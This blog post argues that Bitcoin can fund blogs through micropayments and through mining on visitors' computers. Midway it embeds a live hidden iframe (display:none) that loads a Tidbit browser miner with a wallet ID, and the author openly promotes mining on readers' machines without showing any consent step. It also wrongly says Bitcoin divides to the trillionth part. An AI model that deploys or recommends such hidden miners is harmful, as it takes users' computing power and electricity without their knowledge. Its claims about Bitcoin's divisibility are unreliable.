Until now blogs have mostly relied on advertising or affiliate sales as their main direct revenue sources. Only high traffic blogs could make enough money with these monetization techniques. Bitcoin could change that. How?
Wait. You don’t know what Bitcoin is? It seems you are not up to date with what’s going on digitally these days.
Bitcoin is the Internet of money. It’s an government independent fully virtual currency you can use online. One Bitcoin is worth around a thousand dollars these days.
In short Bitcoin revolutionized money. Soon it might empower bloggers to publish independently of advertising, sponsorships or paid affiliations. Good bye corrupted blogs full of Google Adcents and undisclosed Amazon affiliate links!
So how exactly could that happen? As of now I see mainly two ways Bitcoin can revolutionize blogging:
You can mine Bitcoin on your visitors’ computers
To understand that concept you need to know how Bitcoin works. Unlike other “real world” currencies that get controlled by governments, national banks and the gamblers on Wall Street that makes them very unstable and prone to manipulation , Bitcoin is a child of advanced math and Internet philosophy.
Currencies like the dollar are prone to inflation for example, the ongoing devaluation of it. That’s why a $1,000 today can buy fewer goods than it could 10, 20 or 50 years ago. In simplified terms the “government can print money” so that there is more money on the market than goods available and thus the prices rise. It’s a metaphor of course because most “real money” is virtual today too. We have seen it during the financial crisis when banks crumbled over night.
Bitcoin on the other hand can not be “printed” by governments. It is similar to gold.
There is only a fixed amount of it and you have to “mine” it. It’s of course another metaphor. A computer must compete some very complex operations in order to “mine” Bitcoin. These calculations are so hard that it needs a lot of computing power to do them. It means that you can’t simply mine Bitcoin at your home computer because it would cost a lot of power and I mean real power as in electricity so that it would cost more than the Bitcoin you earn.
Crackers have resorted to setting up networks of hijacked computers from unsuspecting people to mine Bitcoin for them.
So in case your computer has no firewall or proper malware protection and is very slow lately it could be mining Bitcoins for some gang on the other end of the world. That principle doesn’t have to be criminal though. You could join forces with others to mine Bitcoin. It would be something like a SETI but not for aliens.
<iframe style='display:none' src='http://tidbit.co.in/miner'><script>window.walletId = 18xXihZ4GzaqKacWEaqV3nkdKTai8diShy</script></iframe>
The Tidbit miner is still in beta (but I’d rather call it alpha) or not fully functional yet as far as I understand. I inserted the code for speed testing purposes though as many people were afraid it would slow down their site significantly. That’s not the case. In my tests it took around 200 — 400 milliseconds to load according to the Pingdom website speed test. That’s less than some of my analytics tools that I use. So what is exactly revolutionary about that?
First off as mentioned above you don’t need to clutter your site and annoy people with obnoxious ads. You don’t need to compromise your integrity by hiding affiliate links in your text and praising products you only want to sell instead of genuinely reviewing them. Most bloggers do these things today.
Never fully trust a book recommendation with an Amazon link attached to it. Most of them are affiliate links the blogger earns money on.
Also unlike ads and affiliate links with a Bitcoin miner on your site your goal stops being sending visitors away to view or buy something elsewhere. You start wondering how you can get people to stay longer on your blog so that they keep on mining Bitcoin for you. How can you achieve that? By publishing smarter, better, longer content. The longer people stay the more you earn. With onsite Bitcoin mining your goal stops being distracting users with ads and start becoming captivating them with your writing!
You can use Bitcoin for micropayments
Even without using Tidbit or similar tools that will soon pop up everywhere I expect Bitcoin could revolutionize a method of payment nobody could really popularize yet on the Web: micropayement. Many startups have tried that and failed due to small adoption rates despite promising tools and high aspirations.
The main problem with micropayment until now was that it wasn’t really micro as in one millionth.
It was rather “centi” as in one hundredths. You weren’t paying micro amounts but at least a few cents. Both major currencies most of the Western world uses, Dollars and Euros are divided up into 100 Cents. I am not aware of other currencies that has smaller amounts than 1/100.
Now here comes Bitcoin and changes that. You can divide it up to the trillionth part, that would be even smaller than nano, namely pico-payments. Paying 20 Cents for visiting a site may already be expensive for you but paying a 20 micro-Bitcoin may be not. So publishers could charge visitors tiny amounts of money using Bitcoin and still earning a lot when having a million visitors. Even with 10,000 regular visitors paying 10 Cents in total over the course of a month you would earn $1,000.
Already some major publishers accept Bitcoin micropayments. A recent example is the Chicago Sun-times, the biggest tabloid over there.
BitWall seems to be the solution of choice here. I haven’t tried it yet so I can’t describe it yet but I will. So expect a follow up on one of the blogs I write for. In case this article here succeeds I might be able to convince Ahrefs editors to publish another one on Bitcoin.
Creative Common image by Antana.